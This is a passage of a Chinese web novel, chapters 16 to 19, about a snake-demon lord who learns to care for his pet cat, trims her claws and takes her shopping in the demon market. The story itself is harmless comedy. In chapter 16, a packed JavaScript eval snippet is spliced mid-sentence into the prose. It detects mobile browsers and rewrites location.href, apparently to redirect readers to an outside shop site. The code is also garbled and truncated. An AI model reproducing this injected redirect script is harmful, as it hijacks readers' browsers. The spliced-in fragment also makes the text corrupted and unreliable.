小白猫被蛇尾不由分说地送到晏岐跟前,一蛇一猫此时离得太近,晏岐刚沐浴完不久,再加上虞窈鼻子又灵,于是无比清晰地闻到了来自晏岐身上好闻的松木冷香。 这味道清冽,却莫名让猫感觉到了浓浓的侵略感,无处遁逃。 玉白修长的手指紧接着探了过来,距离虞窈越来越近、越来越近。 猫下意识地屏住了呼吸,一时间竟都忘记了挣扎。 然后就见晏岐的手指径直握上了自己垂耷在身前的粉色肉垫,不轻不重地合拢一捏。 “啪叽”一下。 爪爪开花。 16.第十六章 晏岐捏倒是捏爽了。 唯一的代价就是,手背上喜提了四道新鲜的抓痕。 长短不一,十分齐整,格外地引人注目。 当然,对于一位有着炼虚期修为的强大蛇妖而言,想要不被自己的妖宠抓伤,其实是一件非常简单的事情。 但,小猫锋利的爪尖挠破皮肤的感觉,与被那些术法亦或是法器洞穿血肉的感受是截然不同的。 不痛,甚至令晏岐有些莫名其妙的......沉溺其中,以及一种油然而生的异样满足感。 他先前就尝过此般甜头,于是也就由着小猫咪去了。 翌日,眼尖的日尧和月女一眼就注意到了这些抓痕。 一蝴蝶一狗想都不用想,就能够猜到昨夜尊上的寝殿里必定发生了一场格外激烈的蛇猫大战。 并且从此时正蜷缩在一旁、闷闷不乐的小狸奴的状态来看,双方应该都没能从对方那里讨到什么好处。 进行完例行汇报,日尧和月女单膝跪在地上,恭恭敬敬地垂着脑袋,等着尊上的下一步指示。 可座上那矜贵的男人许久都没有出声。 暗色蛇尾在地毯上以一种极缓慢的速度游动着,发出了窸窸窣窣的声响,在这座昏暗潮湿的寝殿里,给人的感觉阴森而又怪异。 忽然,一道清冽慵懒的声音落下。 言简意赅的四个字:“如何养猫?” 更准确地说,是如何养一只叛逆、双标,又很脆弱的猫。 诚然,受万妖尊崇的妖尊一开始是对自己的妖宠很不屑一顾的。 但在昨天下午亲眼看见那枚怎么找也找不到的猫猫头,自己就从玉壶春瓶里钻出来与他对视的时候。 这样的一个念头便鬼使神差地从晏岐心底冒了出来。 不过,真要追溯起来的话,其实或许早在那天上午,见到在草地上追逐蝴蝶的小狸奴时,这个心念就隐隐约约地有了苗头,有迹可循了。 只是那时的晏岐还抓不住。 如果尊上的问题是,一百种杀人于无形的方法,又或者是一千种叫人痛不欲生的审讯折磨手段。 那么日尧和月女或许可以滔滔不绝,甚至当场给尊上编撰出一本审讯杀人心得书来。 但尊上的这个问题显然已经完全超出了他们现有的知识范围。 他们也是养猫白痴,不是养猫大师啊喂。 于是只能回禀尊上一句:“不如尊上把柳幸召来,问问柳幸好了?” “柳幸?” “没错,尊上可还记得,属下曾经提到过,柳幸的妖宠也是一只猫?”月女道。 “那猫在柳幸身边已经待了好几个年头,长得也......”月女短暂地卡顿一秒,“也十分健康,想必柳幸是很有养猫这方面的经验的。” 柳幸刚被传召来妖殿的时候,其实是有点受宠若惊、又忐忑不安的。 柳幸是一只柳树妖,实力排在下卫末位,一年半载连尊上的面都很难见上一次。 更何况是被尊上主动传召呢? 但在听到尊上的问题后,柳幸明显懵了。 啥玩意儿?是他耳朵坏了还是尊上被夺舍了? 尊上居然问他要养、养猫指南? 不过当柳幸余光瞥见尊上手背上的那几道抓痕,以及不远处那只正在悠闲地给自己舔毛毛的小狸奴后,又觉得一切似乎都变得合理了起来。 早就听说尊上的妖宠近来在作威作福,就差直接骑到尊上的头上去。 从现在的情况来看,这些传闻居然都是真的。 幸好幸好。 柳幸的妖术其实并不适合战斗,他的综合实力也不强,不然排名也不会一直处于下卫末位。 如果尊上是要他去执行什么高难度的任务的话,于他而言恐怕会有些棘手。 但尊上问的是和养猫相关的知识,那可就精准踩中他的舒适区了。 锵锵锵锵,养猫小课堂开课啦。 养猫指南第一条。 柳幸:“尊上,您可以先为您的妖宠起个名字。” 晏岐:“名字?” “没错,”柳幸说,“开了智的妖宠是能够听懂自己的名字的,您若是为她起了名,妖宠就能知道您是在叫她,从而回应您。” 就好比他刚把自家妖宠拐回妖界的第一件事,就是为它取了一个响当当的名字。 叫做——大橘大利。 听听,多么贴切,多么高端,多么霸气! “而且,妖宠一旦有了名字,也就意味着与您有了羁绊,是真正属于您的妖宠了。” 不远处的虞窈一边懒洋洋地舔着肉垫,一边悄咪咪赞同地点了点小脑袋。 柳幸其实说的没错,不管是妖还是妖宠,名字都是十分重要的东西。 但她有自己的名字啦,还是娘亲为她取的。 她很喜欢,也不可能会接受晏岐这条臭蛇给自己取别的名字。 却听晏岐淡声道:“本尊早就为她起过名字了。” 狗:有吗? 蝴蝶:什么时候的事? 猫:我自己怎么都不知道? 柳幸显然也很意外:“噢?是吗?那敢问尊上为自己的爱宠起了什么名字?” 晏岐:“猫。” 柳幸:“......” 柳幸有些怀疑是自己听错了,还是说,是他自己方才问错了? 他记得他问的是妖宠的名字没错,而不是妖宠的品种啊。 柳幸硬着头皮提醒:“尊上,是......您妖宠的名字,而不是种类。” 座上的晏岐投下冷淡的一眼,带着阴寒的气息:“名字,就叫‘猫’,不可以?” 猫:神金。 蝴蝶:可以可以,您是尊上,想怎么样都可以。 狗:真不愧是尊上!给妖宠起的名字都是这么与众不同,清尘脱俗,一目了然,放眼整个三界,谁能给自己的妖宠起这么完美的名字?尊上,狗要永远追随您汪汪汪...... 柳幸抬起手,擦了擦额角并不存在的冷汗。 “既为尊上您的妖宠,自是尊上想取什么样的名字都可以。” 养猫指南第二条。 柳幸:“尊上,您可以为您的妖宠剪剪指甲,这样她与您玩闹的时候,就没有那么容易抓伤您了。” 晏岐倨傲地抬抬下巴,意味不明地半眯起眼睛:“难怪本尊见你的手背上没有抓痕。” “本尊还以为,是你的妖宠不喜欢你。” 蝴蝶:......(蝴蝶其实是没话说了) 猫:不是,堂堂妖尊被猫抓难道是什么很值得骄傲的事情吗? 狗:休得胡言,这明明就是尊上受伤的勋章!战斗的痕迹!养宠的荣耀! 柳幸干笑两声,选择性地忽略了晏岐的话。 “当然,尊上您还可以剃一剃您妖宠爪垫上多余的绒毛,这样可以保护您的妖宠,在日常嬉戏玩闹的过程中不容易打滑受伤。” 这一条指南内容终于令晏岐扬了扬眉梢,像是有了点兴趣。 他记得,昨夜把小狸奴的肉垫捏在手里把玩的时候,肉垫的缝隙间的的确确是有一小簇不起眼的毛发的。 晏岐的视线慢慢落在了不远处的小白猫身上。 察觉到那道冰冷淡漠的目光,虞窈:“......” 白色大鸡腿舔爪爪的动作一顿。 不好! 猫几乎是想也不想就从地上弹跳而起,屁颠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010644|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屁颠地转身要逃。 结果还没跑出两步远,就情景重现,被墨绿色的妖息包裹住了软乎乎的身体,无处遁逃。 可以剃毛和剪指甲的工具很快就被妖仆送了上来。 看着那状若老虎钳一样的冰冷器具朝着自己逐渐靠近,小白猫扯着嗓子宁死不屈。 想给猫剪指甲剃毛?门都没有!想都别想! 小白猫不禁在晏岐的怀里剧烈挣扎起来,小小的身躯在顷刻间爆发出了强大的力量。 这会儿简直比过年的猪还要难按。 晏岐垂眸睨着怀里的小猪猫,竖瞳半眯,难得没有用任何术法,只是很轻地歪了下头。 片刻后,忽而看向某个方向出声:“高央?” 小白猫立时竖起双耳。 嗯?小绵羊来了? 小绵羊救猫! 虞窈像是终于等到了救星一般,充满希冀地顺着晏岐视线的方向看去。 然而,拱门那处却空无一妖。 与此同时,耳边响起了一声十分清脆的“咔嚓”。 还伴随着一根尖锐的透明指甲落地。 后知后觉地意识到自己被骗了的虞窈:“?” 她不可置信地转过头来,瞪圆了的猫猫眼盯向晏岐。 要不要脸? 你居然用这么低劣的手段骗一只小猫! 晏岐却视若无睹地重新看向柳幸,懒声问道:“是这样吗?” 柳幸为自家尊上无师自通的“诱骗术”惊讶了片刻。 真不愧是尊上,自己都还没有教他呢,居然就自行领悟了如何让猫配合剪指甲的最高一级邪招,真是孺子可教! 柳幸激动地连连点头:“没错没错,就是这样,就是这样。” 猫才不管他这样那样,瞬间就炸毛成了小蒲公英,恶狠狠地朝晏岐龇了龇牙。 正打算给晏岐一个教训,小小的猫嘴巴才刚张开,要朝着晏岐的手背上咬去。 玉白修长的手指忽而捻起桌边一块软糯香甜的绿豆糕,防不胜防地送进了猫的嘴里。 糕点的清香很快在唇齿间蔓延开来,小猫咪肉眼可见地怔愣住了,凶巴巴的小猫相也迅速变得茫然无措了起来。 眨眨眼,小狸奴逐渐收起了尖牙,慢吞吞地咂巴咂巴着嘴,像是在纠结。 唔,是该先咬蛇呢,还是该先吃绿豆糕呢? 猫还没有纠结完,又是一声极其清脆的“咔嚓”。 ——又一根爪爪上的指甲被剪,虞窈垮起个小猫批脸,立时再度炸毛。 骗猫骗上瘾了是不是?不行,猫今天非要让晏岐这条臭蛇长长教训,把他的手背咬出两个血洞来不可! 结果刚一张口,又是一枚肉香四溢的八宝圆子递进嘴里。 小蒲公英瞬间就变回了柔顺的猫猫球,下意识地嚼嚼嚼。 同时梅开三度,“咔嚓咔嚓——” 虞窈:你他&l#k%*@...... 净会使这些下三滥的手段,猫咬死你个小......啊不,老登西! 然后,八宝圆子就变成了香喷喷的鸡腿肉。 虞窈:“......” 算了。 猫嚼嚼嚼嚼。 吃完了鸡腿肉,指甲也剪得差不多了。 小白猫“猫生无望”地摊开四条腿腿,俨然一副放弃了挣扎的样子。 只不过,指甲剪都被剪完了,就这么算了的话,那猫也太吃亏了。 猫于是咽下嘴里最后的一点鸡腿肉,随即抬头看向晏岐。 圆溜溜的鸳鸯眼在日光的照射下映出了极为漂亮的颜色。 小白猫眨了眨眼,像是在说。 猫吃完了。 还有吗? 17、第十七章 十分“顺利”地给猫剪完指甲、剃完毛,柳幸又传授了一些别的养猫指南。 比如要给猫留一点独自生活的空间啦; 不要强迫猫做不喜欢的事情啦; 也可以让猫和别的猫猫交点朋友啦; 对于精力格外旺盛的猫,也可以带出去遛一遛啦......等等等等。 每一条都听得晏岐眉心微蹙。 只有最后一条,倒是可以稍微采纳一下。 毕竟,小狸奴整日不是在妖殿里搞破坏,就是到处晒太阳、睡大觉。 猫不需要送去学堂上课、也不用出去杀人打架,的确是存着一身的精力没处使,有空的时候,带出妖殿溜溜也无妨。 听到能够出去溜达转转,虞窈欣喜若狂。 就连晏岐把妖息当成了“牵引绳”,墨绿色的妖息化作一条绿色绸带,系在了她的脖颈与晏岐的指节之间这回事,都表现得没有那么抗拒了。 猫甚至还伸着肉垫指挥蛇半晌,然后把绸带弄成了蝴蝶结的样式。 系着蝴蝶结的猫昂首挺胸。 猫,漂亮! 灵猫大妖先前不受妖尊管辖,长年在凡界游荡、四海为家。 莫名其妙变成晏岐的妖宠之后,也一直受结界所困,从没离开过妖殿半步。 这还是她第一次见到妖界的真正全貌。 真要说起来的话,妖界和人间其实也没有什么大的区别。 街道上四处可见红瓦砖房,商贩卖力地吆喝着,偶尔还有一两辆马车经过,人来人往,热闹非常。 猫盯着渐行渐远的马车,又支起脑袋看向晏岐:o.o。 意思很明显了。 猫怎么没有马车坐?你不是妖界尊主吗,连辆马车都买不起? 晏岐倒也真的看懂了猫的意思,把猫往怀里抱了抱,温声:“下次。” “不是说要出来走走?坐马车的话,就不算溜达了。” 喔,好像是有点道理。 猫把脑袋缩了回去。 全然忘记了,于猫而言,被晏岐抱在怀里走,好像也不算溜达。 再说回妖界和人间。 猫认认真真地瞅了半晌,觉得两者唯一的区别就是,走在街上的都是些身形各异的妖兽,而不是人罢了。 妖界里的妖通常都更喜欢幻化出自己的部分妖形,而不是完全化的人形或者妖兽模样。 就连晏岐,平日里也喜欢动不动就把自己的蛇尾放出来,更不用说这些小妖了。 于是窝在晏岐怀里的虞窈就眼睁睁地看见了。 有着三个脑袋、体型足足有寻常妖兽两个大的犀牛妖,伸着六条细得跟竹竿似的腿的螳螂兽,还有个子矮小、灵活穿梭在群妖之间的松鼠妖...... 一一从他们身边路过。 相比较下来,晏岐这一行妖走在街市上,居然更像凡人一点。 寻常小妖当然是没有资格窥见晏岐蛇尊的真容的。 但倘若那象征着蛇尊真身的暗色蛇尾被堂而皇之地放出来,展现在众妖眼前,晏岐的身份自然也就不言而喻。 为了避免出现不必要的麻烦,因而晏岐并没有变出一半蛇身,而是着一袭青衣,一手摇着折扇,一手抱猫,余日尧和月女跟在他身侧。 一蝴蝶一狗也褪去了往日里披在身上的宽大斗篷,以面纱与斗笠代之。 身为晏岐的暗卫,蝴蝶和狗平时并没有来妖界闲逛的机会。 如果蝴蝶和狗哪天出现在了这种地方,那么只会有一种可能,那就是——有妖的项上人头不保。 这算得上是日尧和月女第一次正儿八经地以“逛街”的名义出现在妖界,自然是对所有事物都感到新鲜与好奇的。 在看出晏岐没有要约束他们的打算后,便大着胆子四处看、四处瞧。 狗眼尖地注意到路边有一家饰品摊铺,顺手拿起摊上的一支蝴蝶玉钗。 “喂,月......蝴蝶,你看这钗子好不好看?” 只见他手里的蝴蝶玉钗色泽莹润,玉钗一端交叠着两只振翅欲飞的蓝色蝴蝶,看起来活灵活现、栩栩如生。 令人眼前一亮的同时,想必同样也价值不菲。 蝴蝶只投来匆匆一眼,便不感兴趣地别过头去:“没钱,用不上,不买。” 当然了,爱美之心人皆有之,月女也不例外。 只是,身为晏岐的暗卫,月女平时哪有机会戴这样的玉钗。 就算花钱买了回去,想必也逃不过在首饰匣里落灰的命运。 狗霎时涨红了脸,耳根也在一瞬间变得通红。 他别扭地大声道:“谁说要你自己出灵石了!我给你买。” “真哒?”蝴蝶这才两眼放光地重新看过来,喜笑颜开地凑到狗身边。 “好看好看,我要我要,你买你买。” 心满意足地收获了三支簪子、两根玉钗、一对朱红耳环以及五盒胭脂,蝴蝶和狗重新回到了晏岐身边。 晏岐对二人溜跑出去的行为不置一词,只是睨一眼日尧,淡声问。 “你的灵石呢?” 日尧有些窘迫地低下头来,如实禀告道:“公子,都、都没了。” 不等晏岐开口,一旁的月女先是诧异地睁圆了双眼。 “啊?这就没啦?” 她和日尧同为暗卫,平时又没有什么需要花灵石的地方,所以,她大概知道日尧究竟是有多少家当的。 怎么光给她买了点饰物,就全部都给花没了? 不应该啊。 日尧支支吾吾:“储物袋里没放多少,大多数灵石都囤放在别处了。” 月女不解地歪歪脑袋:“好端端的,你囤那么多灵石干嘛?” 妖殿里什么都不缺,要什么都有,根本就没有需要用灵石的地方呀。 却见日尧黝黑的脸涨得更红,都快要变成熟透的虾了:“要、要你管啊!” 月女倒也不在意,只是作势要去翻自己的储物袋:“那我还是把刚刚的灵石还你好了。” 日尧想也不想就拧着眉拒绝:“不要。” 给蝴蝶买东西,他乐意,就算把所有灵石都花光了也没关系。 毕竟,他知道的。 蝴蝶一直都很喜欢那些亮晶晶又花里胡哨的小玩意儿,只是碍于暗卫的身份,所以不能轻言喜欢,更没有买的必要。 可狗希望蝴蝶高兴。 就像现在这样,蝴蝶戴着精致的蝴蝶玉钗,迫不及待地凑到了小白猫跟前。 “怎么样小白,我戴这个好看不好看?” 猫很给面子地晃晃蓬松的大尾巴,扯着嗓子:“喵呜~” 好看! 漂亮的小蝴蝶就应该戴漂亮的蝴蝶钗。 月女嘿嘿一笑,抬头看向尊主,脸上的笑意自觉收敛了几分。 嗯,算了,尊上就没必要问了,蝴蝶不像狗,还是有眼力见的。 就不自讨没趣了。 这一趟出来,除了月女以外,小白猫同样收获颇丰。 新鲜出炉的豆沙麻圆,猫得到! 香气四溢的驴肉火烧,猫得到! 软烂耙糊的卤牛腱肉,猫依然得到! 裹满糖衣的冰糖葫芦,猫还是得到! 在妖殿里整天吃的都是些美味佳肴,偶尔尝尝这些民间小食也挺好。 只是,吃得忘乎所以的猫的嘴角不可避免地粘上了点卤汁和冰糖,嘴角边也弄脏了一小撮绒毛。 晏岐抬起指腹,要把猫嘴角的那点污渍擦掉。 没等碰到猫的脸颊,软乎乎的肉垫就抵在了晏岐的手背上。 猫的眼神充满警惕:干嘛? “嘴角脏了,”晏岐淡声说道,“脏兮兮的,不成体统。” 闻言,小白猫肉眼可见地变得不满起来。 整天体统来体统去,哪里来的那么多规矩啊。 婉拒了哈。 却听晏岐不紧不慢地继续说道:“若不擦掉,今后就不带你出来玩了。” 虞窈:啧,又威胁猫? 不过,在晏岐第二次将手指探过来的时候,虞窈没有再拒绝。 试问,谁会给谁擦嘴角? 没错,只有仆人才会用巾帕给自家主子擦! 既然晏岐这么上赶着想要当她的仆从,那就给他当好啦。 猫大方。 才不是因为猫被蛇给威胁到了。 嗯嗯,没错,就是这样。 只不过,微凉的指腹覆在嘴角绒毛上的感觉其实很奇怪。 就算晏岐有意放轻了力道,弄得猫不疼,可依然还是哪儿哪儿都让猫觉得别扭和不自在。 猫难得安静地让蛇擦了一会儿嘴,没多久就有些不耐烦地甩起了尾巴。 还没有擦完吗?怎么这么慢啊。 虞窈忍不住自己伸出粉嫩嫩的小舌头,自顾自的舔了一圈唇周。 没脏东西了呀。 不经意间舔到了晏岐尚抵在她嘴角边上的冰冷指腹,虞窈还催促似的用舌尖抵了抵他。 什么意思,擦干净了还不走?赖在猫嘴边上干嘛?o.0 晏岐依然不为所动。 就在猫忍无可忍、快要发飙之际,晏岐终于撤离了手指。 只是,不知是有意还是无意,男人的长指退到一半,忽而一偏,就这样不偏不倚地撞进了小狸奴的嘴巴里。 冰凉的食指很快就被温暖湿热的口腔包裹了起来。 就算小白猫近来日渐圆润,长了点身体,但光是含着晏岐的一根手指,对猫来说也很是吃力了。 而带着薄茧的指腹之下,是小猫咪的舌头。 又短又软,还覆盖着不起眼的倒刺,轻飘飘舔过手指的时候,很痒。 晏岐神色平静地按了按指腹下那过于柔软的舌尖。 赶在猫怒而咬人之前,又若无其事地把手指抽了出来。 晏岐垂下眼,盯着手指上晶莹的、湿漉漉的小猫口水。 片刻后,又面色自若地把食指重新递回到小猫跟前:“猫,你的东西。” “自己舔掉?” 神金。 虞窈才懒得搭理这条不知道又在抽什么风的臭蛇。 圆滚滚的身体挪了挪,又拿屁股对准了他。《 》 18、第十八章 除了喜欢吃以外,虞窈还是一只对所有事情都充满了好奇的猫。 彼时晏岐一行妖正好端端地在路上走着,猫“歘”地一下就直起身体,粉嫩嫩的肉垫按住了晏岐的肩膀,示意他停下。 “怎么了?”晏岐倒也跟着停驻了脚步,低眸看向怀里的猫。 小白猫松软的大尾巴高高翘起,左右用力拍打着,时不时还打在了晏岐的嘴唇上面,留下几根不起眼的猫毛。 嘘嘘嘘,不准说话。 别打扰猫。 虞窈随即把两只爪爪都搭在了晏岐的一侧肩膀上面,猫猫祟祟地探出了半只小猫脑袋,双耳下压。 努力把自己的存在感降到最低的同时,只留下两只炯炯有神的鸳鸯眼在外面转啊转。 猫的目光迅速锁定了刚刚从他们身边经过的两只花妖—— “诶诶,听说了吗,老鹿家二儿子的小情人昨天找上门来,问他娘子讨要说法。” “两人都以为自己是正宫,结果发现是那二儿子渣,两人二话不说就变回妖形,把二儿子的两根鹿角都给弄断了不说,还让老鹿家断子绝孙了呢。” 听得津津有味的猫两眼放光:蛙趣,这么劲爆! “听说了,听说了。哦对了,前段时间那件贪污案你知道不?据说那妖使才刚上任不足三月,就私吞了三千颗上品灵石,连修筑堤坝的灵石都敢吞,真是掉进钱眼子里不要命了。” “这我哪能不知道唷,前阵子可是闹得沸沸扬扬的。不过话说回来,他不是一共吞了五千颗灵石么,咱俩听到的版本还能不一样?” “那我就不清楚了,反正,听说那妖使的下场挺惨的,皮都被活生生剥了下来,身上没一块好肉,刑场上也血淋淋的,腥臭味熏天,可吓人了。” “就是就是,我听说鸡大娘家的小娃儿见了那场面,回去后都被吓得哭了好几宿呢。不过也是那妖使自己活该啦。” 正义的猫用力拍拍爪垫:就是就是,贪污的妖都不应该有好下场! “话说回来,我上月推给你那偏方,你给你家相公用了没有?” “用是用了,可是...唉,快别提了,还是那样,顶天也就只有三分钟。” “啊?不应该啊,其他的妖用了以后都说好,怎么到你相公这儿就不行了?是不是没用够量?” “当然用够了,就是按照你说的量和次数来服药的。不就是淫羊藿两钱、肉苁蓉两钱、巴戟天......” “刚喝完的时候倒是和我说什么来劲了,这次一定行,结果到真枪实干的时候就又......唉,真是愁死我了。” 疑惑的猫歪歪脑袋:什么三分钟?什么偏方? 一头雾水的猫刚要竖起耳朵继续听,毛茸茸的小猫脑袋就被一只冰凉的大掌无情地给按了回去。 “少听点这种不该听的。”晏岐平和的声音轻飘飘从上方落下。 猫很不服气地在晏岐的手掌心里拱来拱去。 小猫咪怎么就不能够听这些了?猫还没有听完呢! 可当虞窈好不容易才从晏岐的指间缝隙里挤出小猫脑袋的时候,那两只花妖已经渐行渐远,背影消失在来来往往的妖群里了。 完蛋,只听到一半的八卦就好比过期砒霜。 猫气鼓鼓地坐回到了晏岐的小臂上,胡须绷着,小猫脸也瞬间不满意地垮了下来。 蛇果然就是这个世界上最讨厌的种族。 蛇不好蛇不好蛇不好蛇不好...... 不过好在很快,小白猫就又被街边的杂耍给勾走了注意力。 那是一对猴妖和猪妖,两只妖一唱一和地讲着相声的同时,还完成了走钢丝、抛接、顶碗等一系列高难度杂耍。 在猴妖逗得人捧腹大笑的下一秒,猪妖也口喷焰火,喷出来的火焰居然还是花朵形状。 围观的小妖们立刻鼓掌叫好,小白猫也蹲坐在晏岐的手臂上,高高翘起的大尾巴像扫帚掸子似的晃啊晃。 “喵~喵——” 厉害!真棒! 大汗淋漓的猴妖看准时机,拿着笸箩从台上一跃而下。 “各位看得开心,咱兄弟俩也乐得高兴,还望诸位有钱的捧个钱场,没钱的捧个人场。” 在场的小妖们倒也不吝啬,少的就给一两块下品灵石充数,稍稍有钱一些的,也舍得掏一枚中品灵石,乐呵呵地往笸箩里放。 很快到了晏岐这里。 猴妖拿着笸箩,正笑嘻嘻地准备和方才一样,同晏岐说点讨喜的吉祥话。 然而抬头对上那双森冷深邃的幽绿色竖瞳时,却莫名有些心底发毛。 猴妖:“......呃。” 在外摸爬滚打多年的经验告诉他,眼前的这个男人并不是什么好惹的人物。 猴妖踌躇两秒,正打算跳过晏岐,顺延至下一人。 一个不轻不重的力道忽然按住了他的笸箩。 猴妖低头一看,是被男人抱在怀里的猫。 那猫通体雪白,身上的毛发油光水亮,双眸是很漂亮的蓝金异色,一看就知是被男人养得很好。 ......就是有一点胖。 小白猫粉嫩干净的肉垫不由分说地按在他的笸箩上,仿佛在说。 且慢。 然后就见小白猫扭过圆圆的屁股墩,小爪子在旁边戴着斗笠的少年提着的大包小包里挑挑拣拣,最终叼出来了一条比猫还要长的小鱼干,就要往他的笸箩里放。 不白来,都不白来嗷。 灵猫大王看开心了,赏! 猴妖:“......” 蝴蝶狗:“......” 不过就在小鱼干快要从小猫咪的嘴里掉出来的刹那,一只玉白修长的手适时拦在了猴妖的面前。 从小猫咪的嘴里拿走并重新放好小鱼干的同时,一枚亮闪闪的上品灵石“当啷”一声,落进了他的笸箩里。 猴妖顿时诧异得连下巴都快掉下来,低头看向笸箩,傻了眼。 额滴个亲娘嘞,这......这是上品灵石,他没看错吧? 猴妖再度抬头看向那三妖一猫渐行渐远的背影。 乖乖,他的经验果然没错。 这是个得罪不起的大户人家! - 抱着猫远离了人群的喧嚣,晏岐把小白猫柔软的肉垫握在手掌心里,漫不经心地按揉了几下。 月女在一旁瞅着,心里暗自腹诽道。 幸好刚才小白用肉垫碰的是那猴妖的笸箩,而不是猴妖的脸或者肩膀。 否则,按照尊上的一贯作风,猴妖得到的说不定就不是那一块上品灵石,而是极有可能血溅当场。 猫很不满意地把肉垫从晏岐的手心里挣脱了出来,对着晏岐的手腕就是梆梆几下殴打。 而后盘起尾巴,自顾自的开始低头舔爪爪。 晏岐倒也不甚在意,只是又轻轻摸了摸小狸奴的毛发:“本尊给你买的小鱼干说给就给了,就这么大方?” 猫闻言,一时连爪爪都不舔了,十分得意地昂起头来。 那是当然。 只要灵猫大王开心,别说是什么小鱼干了,就算是十万......啊不,一百万颗上品灵石,猫也愿意给哇! 猫,就是这么大方。 骄傲jpg. 晏岐:“既这么慷慨,怎么就只给一条小鱼干,不把日尧提着的那些吃食全部送给人家?” 闻言,猫默默缩回了小猫脑袋,在晏岐的小臂上很是心虚地跺了跺脚。 那不行。 谁让猫真有呢。 一条小鱼干就已经足够了,不可以再觊觎猫的其他吃食。 这不仁道。 头顶上方很快落下一声轻笑。 总觉得臭蛇这是在嘲笑自己,猫刚要凶巴巴地冲他龇一龇牙,就听日尧的声音响起。 “公子,那边好像有卖妖宠穿戴的衣裳,咱们要不要过去瞧瞧?” 近百年来,妖界养妖宠之风盛行,由此也衍生出了许多相关生业。 妖宠服饰铺就是其中之一。 一听要给自己买衣裳穿,虞窈想也不想就把猫猫头摇成了拨浪鼓。 不行不行,猫穿了衣服会很不自在,猫鼠都不会穿—— 可当余光瞥见店铺门口那些仅供展示的漂亮衣服后,猫一下子就被吸引得走不动道了。 穿!猫穿的就是好看又仙气飘飘的小斗篷背心马甲披风还有毛绒小帽! 当然了,能够当妖宠养的族类并不是只有猫。 狗、鸟、仓鼠......等等等等,都是可以作为妖宠养的对象。 甚至妖宠服饰铺的门口这会儿还堵着一头足足有三米高的大象。 大象的主人在一旁与店铺老板据理力争道:“我家香香怎么就不是妖宠了,它还只是一只宝宝!你这是赤裸裸的物种歧视。” 店铺的老板是只松鼠妖,小小一只人畜无害的样子。 这会儿擦了擦额头上密密麻麻的细汗,苦口婆心地劝说道。 “不不,您误会了,我没有任何歧视的意思,您家香香当然是您的宝宝。只是咱们铺子里真的没有适合您家香香穿的衣裳,您要不还是上别家看看去吧?” 大象的主人本还想要再说些什么,一道冷硬的声音却在此时响起:“喂。” “要找茬就上一边找去,你挡路了。” “诶你怎么说话的你......”大象主人话还没有说完,就隔着斗笠的薄纱与少年对上目光。 少年看起来年纪不大,斗笠下的眼眸却极冷,散发着十分危险的气息,不是只有筑基期的他可以打过的。 大象主人再一一扫过旁边的少女和男子。 最后是在男子怀里,朝着自己张牙舞爪、威风凛凛的小白猫。 大象主人:“......” 他最终还是牵着自己的香香,灰溜溜地转身走了。 好不容易送走这尊大佛,松鼠妖连连向日尧诚恳道谢,再低头看看晏岐怀里的小猫,笑盈盈地说道。 “这是您的妖宠吧?长得可真漂亮,咱们店里有很多适合小猫咪穿的衣裳,您三位随便选,随便挑。” 进店就是质地柔软的浅蓝色小马甲,可可爱爱的猫耳小帽,有着空心铃铛作为吊坠的小斗篷...... 各种小衣裳看得虞窈眼花缭乱。 这件好好看! 那件猫也想要! 虞窈最后系上了一件朱红色的小斗篷。 红色最最衬猫! 而且,斗篷的波浪形边边上还有一圈白色绒毛,柔软而又暖和。 猫就喜欢这种毛绒绒的事物。 因为猫也是毛绒绒的哇0v0。 不过说起来,变成晏岐的妖宠这么久了,虞窈其实还不清楚这具身体究竟长什么模样。 毕竟晏岐的寝殿里没有镜子,她平时也没有别的可以照到镜子的机会。 怀着激动而又期待的心情,猫来到了设在店铺角落里的铜镜跟前,探头一看。 然后就看见了一只—— 左耳大右耳小,鼻子嘴巴歪七扭八,就连脑袋也凹成了“v”字形的,奇形怪状的猫。 说实在的,猫被吓了一大跳。 以至于想也不想就高高扬起肉垫,十分用力地“啪啪”打了那面铜镜两下。 呔,这什么怪东西?! 也就是在这时,一头雾水的日尧不解地探头凑了过来。 于是乎,猫又在铜镜一角看到了一张丑得惊天地泣鬼神的脸。 眼睛鼻子全都错位,耳朵比脑袋还大的那种。 猫忍不住咧开猫猫嘴,很凶地朝那张脸“哈”了一下。 丑东西!丑东西! 你丑到猫了知不知道?! 紧接着就听晏岐轻笑一声。 猫还没来得及冲蛇发飙,那只冰凉的大掌便轻轻扶住小猫咪的后脑勺,将她掉转了个方向,看向了旁边的另外一面镜子。 刚一对上镜子,猫就一下子怔愣住了。 只见镜子里的小猫咪双眸亮亮,每一根毛发都蓬松柔软,近乎透明的胡须端正纤长,穿在身上的红色小斗篷也与白色毛发相得映彰。 小斗篷的上面还有顶有着一对毛球球的猫耳帽呢。 上一秒还在龇牙咧嘴的小白猫瞬间瞪大了眼睛。 左看,右看,上看,下看。 再不由自主地端坐蹲好,就连尾巴也端庄优雅地盘在了身前。 哇! 好完美! 是漂亮猫猫!《 》 19、第十九章 虞窈对于自己的新形象非常满意,穿上了小斗篷就不肯脱下。 旁边的月女也很是捧场地双手捧起脸颊,换了个声调说话:“太好看了小白,你简直就是三界里最漂亮的猫猫!” 虞窈被夸得心花怒放,挪着小脚脚就贴到了月女的手边上。 猫猫头一歪—— 小蝴蝶,贴贴~ 猫猫所见略同哇! 月女又挑了好些别的可可爱爱的衣裳,放到小白猫的身前各个角度比对着。 “小白,你要不要再试试这套?” “这套也很不错,你穿着绝对好看,我打包票!” “好了。”一只大手在此时捞过猫,重新抱回了自己怀里。 晏岐半垂着眼睫,长指拨拨小狸奴的耳朵尖:“既然喜欢,就都打包起来吧。” 堂堂妖界尊主,不至于连买自家妖宠的衣裳还要挑挑拣拣,吝啬地只买那么一两套。 - 从妖宠服饰铺里出来,把大大小小打包好的吃食以及衣裳全都收进储物袋里。 正打算原路返回妖殿的时候,一行妖偶然路过了一间书屋。 这间书屋装潢老旧,应是在这里开了有些年头,生意却尤为惨淡。 就算有妖路过了这里,也懒得施舍一个眼神。 毕竟,妖嘛,有闲情逸致看书的少之又少,绝大多数都没有什么文化。 